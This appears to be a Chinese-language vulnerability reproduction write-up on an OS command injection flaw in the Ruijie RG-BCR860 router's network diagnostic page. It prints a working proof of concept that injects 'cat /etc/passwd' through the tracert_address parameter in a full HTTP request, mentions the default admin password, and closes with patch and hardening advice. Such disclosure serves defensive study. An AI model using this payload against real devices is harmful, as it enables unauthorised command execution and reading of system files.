0x00写在前面

本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

0x01漏洞介绍

Ruijie Networks RG-BCR860是中国锐捷网络(Ruijie Networks)公司的一款商业云路由器。

Ruijie RG-BCR860 2.5.13版本存在操作系统命令注入漏洞,该漏洞源于组件Network Diagnostic Page存在问题,会导致操作系统命令注入

0x02影响版本

Ruijie RG-BCR860 2.5.13版本

640 (12)_副本

0x03漏洞复现

1.访问漏洞环境

640 (13)_副本

利用此漏洞需要高权限(默认密码admin登录)

2.对漏洞进行复现

POC (GET)

127.0.0.1;cat /etc/passwd

GET /cgi-bin/luci/;stok=f039132f4ff3110277618cf485069fba/admin/diagnosis?diag=tracert&tracert_address=127.0.0.1%3Bcat+%2Fetc%2Fpasswd&seq=0 HTTP/1.1
Host: 
Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Referer: 
Accept-Encoding: gzip, deflate
Cookie: sysauth=47a4d3e3eaaa553c8a275dd8ac2abe2f

漏洞复现

GET请求,响应存在漏洞

640 (33)_副本

640 (14)_副本

0x04修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

该漏洞由于正常功能过滤不严格导致存在命令注入,并且需要高权限账号登录操作,建议修改登录密码为强口令,通过白名单控制访问原地址。

https://www.ruijie.com.cn/